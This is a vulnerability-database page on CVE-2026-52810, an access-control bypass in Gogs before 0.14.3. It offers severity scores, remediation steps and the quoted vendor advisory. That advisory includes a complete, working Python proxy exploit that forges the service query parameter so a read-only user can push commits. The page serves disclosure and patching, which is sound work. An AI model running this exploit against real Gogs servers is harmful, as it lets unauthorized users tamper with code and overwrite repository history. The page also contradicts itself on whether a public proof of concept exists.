Skip to main content

Gogs EUVDEUVD-2026-39081

| CVE-2026-52810 HIGH
Improper Access Control (CWE-284)
2026-06-23 https://github.com/gogs/gogs GHSA-wmfg-5p4h-5fw3
7.1
CVSS 4.0 · Vendor: https://github.com/gogs/gogs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as read-only/signed-in user
  2. Delivery
    POST to git-receive-pack with service=git-upload-pack
  3. Exploit
    Authorization evaluated as read while receive-pack runs
  4. Execution
    Push unauthorized commits to repository
  5. Impact
    Force-push to overwrite branch history

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Access control enforcement
MITRE ATT&CK

1 technique across 1 tactic: Defense Evasion

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must be an authenticated user with at least read access to the target repository, and the repository must NOT be anonymously readable - fully public repos viewable by anonymous users are not exploitable because the nil AuthUser triggers a 500 error. Two concrete vulnerable configurations exist: (1) the attacker is a collaborator granted only Read rights on a private repository owned by the victim; (2) the instance is configured with REQUIRE_SIGNIN_VIEW = true, in which case any signed-in user can write to any user's public repository. Exploitation requires crafting a POST to /repo.git/git-receive-pack carrying a ?service=git-upload-pack query string (e.g. via the published proxy script). Limiting factors: a valid low-privilege account is required (PR:L, not unauthenticated), the victim repo must be non-anonymous, and the high-impact mass-write scenario is specific to the non-default REQUIRE_SIGNIN_VIEW = true setting.

Impact

The supplied CVSS 4.0 vector (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L, base 7.1) is internally consistent with the description: network-reachable, low attack complexity, requires an authenticated low-privilege account (PR:L), no user interaction, high integrity impact (unauthorized writes) and low availability impact (history overwrite via force push), with no confidentiality loss. EPSS and SSVC data were not provided. Publicly available exploit code (PoC) raises practical risk, but there is no KEV listing and no evidence of active exploitation - POC availability and active exploitation are distinct signals and should not be conflated. A key limiting factor is that the attacker must already hold a valid account with at least read access; fully anonymous/public repositories are NOT exploitable because the missing AuthUser causes a 500 crash. Real-world priority is elevated specifically on instances configured with REQUIRE_SIGNIN_VIEW = true, where any authenticated user effectively gains write to every public repository - there this is a genuine priority rather than a high-CVSS-but-low-impact issue.

Exploit ScenarioDerived

An attacker holding a read-only collaborator account (or, on a REQUIRE_SIGNIN_VIEW instance, any signed-in account) runs a local HTTP proxy that appends ?service=git-upload-pack to the git-receive-pack request, then performs git push through it. Gogs authorizes the request as a read while still executing receive-pack, so the attacker's commits land in the victim's repository, and a force push can overwrite branch history. A complete Python PoC is published in the advisory, making exploitation straightforward against vulnerable instances.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 24, 2026

Improper authorization in Gogs (self-hosted Git service) versions before 0.14.3 lets a read-only user write to repositories they should only be able to fetch from. The Git Smart HTTP handler derives the access policy from the client-supplied ?service= query parameter rather than the actual RPC path, so a POST to /repo.git/git-receive-pack carrying ?service=git-upload-pack is authorized as a read while the receive-pack (push) code path still executes. A working PoC is published in the GHSA advisory, so publicly available exploit code exists; it is not listed in CISA KEV and no active exploitation has been reported.

Earlier versions of this analysis (2)
v2 Jun 24, 2026 - 21:31 cvss changed CVSS 7.1

Privilege escalation in Gogs versions before 0.14.3 lets read-only users push to repositories they should only be able to read, because the Git Smart HTTP handler derives its authorization mode from the client-supplied 'service' query parameter instead of the RPC path actually executed. By POSTing to /repo.git/git-receive-pack while sending ?service=git-upload-pack, a Read-only collaborator (or any signed-in user on instances configured with REQUIRE_SIGNIN_VIEW=true) is evaluated as a reader while the receive-pack write path still runs, enabling unauthorized commits and force-push history rewrites. Publicly available exploit code exists - a complete Python HTTP-proxy PoC is published in the vendor advisory - but the issue is not listed in CISA KEV and no EPSS score was supplied.

v1 Jun 23, 2026 - 17:32

Authorization bypass in Gogs versions prior to 0.14.3 allows read-only collaborators to push commits to repositories they should only be able to read. The Git Smart HTTP handler derives the access mode from the client-controlled service query parameter rather than the actual RPC path, so a POST to /git-receive-pack?service=git-upload-pack is authorized as a read but executed as a write. Publicly available exploit code exists (proof-of-concept Python script in the GHSA advisory); no public exploit identified in active exploitation feeds at time of analysis.

RemediationAI

Vendor-released patch: upgrade Gogs to version 0.14.3 or later (https://github.com/gogs/gogs/releases/tag/v0.14.3), which fixes the authorization logic so push requests are always evaluated against the receive-pack code path (PR #8331, commit 7c9cf53). If immediate upgrade is not possible, reduce exposure with targeted compensating controls: avoid granting read-only collaborator access on sensitive private repositories (trade-off: legitimate read collaborators lose access), and if you run with REQUIRE_SIGNIN_VIEW = true, recognize this turns every public repository into writable-by-any-signed-in-user and consider temporarily setting REQUIRE_SIGNIN_VIEW = false or restricting account registration (trade-off: public repos become anonymously viewable or fewer users can sign in). As a network control, place a reverse proxy in front of Gogs that rejects POST requests to paths ending in /git-receive-pack whose query string does not contain service=git-receive-pack (trade-off: overly strict rules can break legitimate pushes). Refer to GHSA-wmfg-5p4h-5fw3 for authoritative guidance.

Affected VersionsENISA

gogs < 0.14.3

Affected Packages

go gogs.io/gogs fix: 0.14.3
euvd gogs fix: 0.14.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gogs is a lightweight, self-hosted Git server written in Go (package go/gogs.io/gogs). Git's Smart HTTP protocol exposes two RPCs over HTTP: git-upload-pack for fetch/clone (read) and git-receive-pack for push (write). In internal/route/repo/http.go, the HTTPContexter computed isPull from the attacker-controlled service query string (c.Query("service") == "git-upload-pack") instead of from the request path actually being dispatched, so the authorization decision and the executed code path could disagree. This is a CWE-284 Improper Access Control flaw - a classic confused-deputy / parameter-tampering issue where trust is placed in client-supplied routing metadata. The fix introduces gitHTTPIsPull, which resolves the action from the path (and, for info/refs, treats service != git-receive-pack as a pull) so push requests are always evaluated as writes.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gogs/gogs) PRIMARY 7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
vuln.today AI 7.1 HIGH

Network-reachable with low complexity but requires an authenticated low-privilege (read) account, hence PR:L; unauthorized writes give I:H, force-push history overwrite gives A:L, and no data disclosure means C:N.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/gogs/gogs).

CVSS VectorVendor: https://github.com/gogs/gogs

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jun 24, 2026 - 21:32 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 24, 2026 - 21:31 vuln.today
v2 - CVSS changed
CVSS changed
Jun 24, 2026 - 21:22 NVD
7.1 (HIGH)

DescriptionCVE.org

Summary

Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed.

Details

Gogs' Git Smart HTTP handler for repository RPCs relies on a client-supplied query parameter to decide which authorization policy to apply. The Git protocol exposes two primary RPCs over HTTP: upload-pack for fetch (read) and receive-pack for push (write).

In the affected implementation, the code derives the access mode from the service query parameter (for example, service=git-upload-pack) instead of the actual RPC path being executed. As a result, a request sent to the receive-pack endpoint can be incorrectly treated as a read operation if the query parameter claims it is an upload-pack. This behavior enables a request to POST to the write endpoint (/repo.git/git-receive-pack) while including a query string that indicates a read service.

Route dispatch still executes the receive-pack code path, but authorization is evaluated as if the request were a read. A user who is normally only allowed to read a repository, can now write to it.

One edge case is fully public repositories, viewable by anonymous users. Since performing this exploit results in a AuthUser property becoming nil in this case, a part of the code that uses it crashes (500 Internal Server Error), making it impossible to exploit.

The two situations in which this is vulnerable are:

  • Attacker = collaborator with only Read rights & victim = owner of the repository
  • Instance using REQUIRE_SIGNIN_VIEW = true. Attacker = any signed in user & victim = any user with a public repository

PoC

  1. Create a Gogs instance (eg. http://localhost:3000) with 2 users: victim & attacker
  2. As the victim, create a new private repository and add the attacker as a Read collaborator:

<img width="1029" height="387" alt="image" src="https://github.com/user-attachments/assets/1f6b7f72-eaab-4970-bf65-221f1cebbbfa" />

  1. As the attacker, execute the following Python script (editing global vars as required):
py
from __future__ import annotations

import os
import shutil
import subprocess
import sys
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import quote, urlsplit, urlunsplit

import requests

REPO_URL = "http://localhost:3000/victim/target"
USERNAME = "attacker"
PASSWORD = "attacker"

class ProxyHandler(BaseHTTPRequestHandler):
    upstream_scheme: str
    upstream_netloc: str
    log_rewrite: bool

    def log_message(self, *_args) -> None:
        return

    def do_GET(self) -> None:
        self._relay("GET")

    def do_POST(self) -> None:
        self._relay("POST")

    def _relay(self, method: str) -> None:
        raw = self.path
        if raw.startswith("http://") or raw.startswith("https://"):
            u = urlsplit(raw)
            scheme, netloc, path, query = u.scheme, u.netloc, u.path, u.query
        else:
            u = urlsplit(raw)
            scheme, netloc, path, query = (
                self.upstream_scheme,
                self.upstream_netloc,
                u.path,
                u.query,
            )

        q = query or ""
        if path.endswith("/git-receive-pack") and "service=" not in q:
            query = f"{q}&service=git-upload-pack" if q else "service=git-upload-pack"
            if self.log_rewrite:
                sys.stderr.write(
                    f"[poc] rewrite receive-pack -> {path}?{query}\n")

        url = urlunsplit((scheme, netloc, path, query, ""))
        length = self.headers.get("Content-Length")
        body = self.rfile.read(int(length)) if length else None

        skip = {
            "host",
            "connection",
            "proxy-connection",
            "content-length",
            "transfer-encoding",
        }
        out_headers = {}
        for k, v in self.headers.items():
            if k.lower() in skip:
                continue
            out_headers[k] = v
        out_headers["Host"] = netloc

        try:
            with requests.request(
                method,
                url,
                data=body,
                headers=out_headers,
                timeout=600,
                stream=True,
            ) as resp:
                resp.raw.decode_content = False
                data = resp.raw.read()
                status = resp.status_code
                headers = resp.headers
        except requests.RequestException as exc:
            self.send_error(502, f"upstream: {exc}")
            return

        hop_by_hop = {
            "transfer-encoding",
            "connection",
            "content-encoding",
            "proxy-authenticate",
            "proxy-authorization",
            "te",
            "trailers",
            "upgrade",
        }
        self.send_response(status)
        for k, v in headers.items():
            if k.lower() in hop_by_hop:
                continue
            self.send_header(k, v)
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

def _run_git(cwd: str, *args: str, env: dict[str, str] | None = None) -> None:
    r = subprocess.run(["git", *args], cwd=cwd, env=env,
                       capture_output=True, text=True)
    if r.returncode != 0:
        sys.stderr.write(r.stdout or "")
        sys.stderr.write(r.stderr or "")
        raise SystemExit(r.returncode)

def main() -> None:
    base = urlsplit(REPO_URL)
    repo_path = f"{base.path.rstrip('/')}.git"
    auth = f"{quote(USERNAME, safe='')}:{quote(PASSWORD, safe='')}@{base.netloc}"
    remote = urlunsplit((base.scheme, auth, repo_path, "", ""))

    ProxyHandler.upstream_scheme = base.scheme
    ProxyHandler.upstream_netloc = base.netloc
    ProxyHandler.log_rewrite = True

    srv = HTTPServer(("127.0.0.1", 0), ProxyHandler)
    port = srv.server_address[1]
    t = threading.Thread(target=srv.serve_forever, daemon=True)
    t.start()

    tmp = tempfile.mkdtemp(prefix="gogs-git-poc-")
    try:
        _run_git(tmp, "init")
        _run_git(tmp, "config", "user.email", "poc@example.invalid")
        _run_git(tmp, "config", "user.name", "gogs git http poc")
        with open(f"{tmp}/POC_VULN.txt", "w", encoding="utf-8") as f:
            f.write(
                "Created by local PoC: Git HTTP path is receive-pack while "
                "authorization follows forged service=git-upload-pack.\n"
            )
        _run_git(tmp, "add", "POC_VULN.txt")
        _run_git(tmp, "commit", "-m",
                 "poc: unauthorized push via service query confusion")
        _run_git(tmp, "branch", "-M", "poc/git-http-confusion")
        _run_git(tmp, "remote", "add", "origin", remote)

        env = os.environ.copy()
        proxy_url = f"http://127.0.0.1:{port}"
        env["http_proxy"] = proxy_url
        env["HTTP_PROXY"] = proxy_url
        env["https_proxy"] = proxy_url
        env["HTTPS_PROXY"] = proxy_url

        push = subprocess.run(
            ["git", "push", "-u", "origin", "poc/git-http-confusion"],
            cwd=tmp,
            env=env,
            capture_output=True,
            text=True,
        )
        if push.returncode != 0:
            sys.stderr.write(push.stdout or "")
            sys.stderr.write(push.stderr or "")
            sys.exit(push.returncode)

        sys.stdout.write(push.stdout or "")
        sys.stderr.write(
            f"\n[poc] push succeeded. Branch poc/git-http-confusion should exist on {REPO_URL}.\n"
        )
    finally:
        srv.shutdown()
        shutil.rmtree(tmp, ignore_errors=True)

if __name__ == "__main__":
    main()
  1. Reload the repo URL and notice the attacker successfully wrote to the read-only repo:

<img width="1038" height="398" alt="image" src="https://github.com/user-attachments/assets/4ada8b19-8cbd-40b0-a324-e93ed4d1c965" />

Impact

If you can read a repository, and an anonymous user cannot, you can write to it. This affects some cases where read-only collaborator access is given, but is most impactful in instances with REQUIRE_SIGNIN_VIEW = true configured, because then all repositories will be writable to any user. Using force push this can also affect availability, as the original code in the main branch, for example, can be overridden without leaving history.

Executive ViewAI

Why It Matters

Gogs self-hosted Git service versions before 0.14.3 contain an authorization bypass that allows read-only users to execute write operations on repositories, creating a direct threat to code integrity and supply chain security. With publicly available exploit code and minimal technical barriers to exploitation, unauthorized actors can modify repository contents despite restricted permissions. Organizations running Gogs must immediately identify and patch affected deployments to prevent code tampering and protect critical development infrastructure.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 66% exploitable
Prevalence
Medium
popular self-hosted Git service, common but far from ubiquitous
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy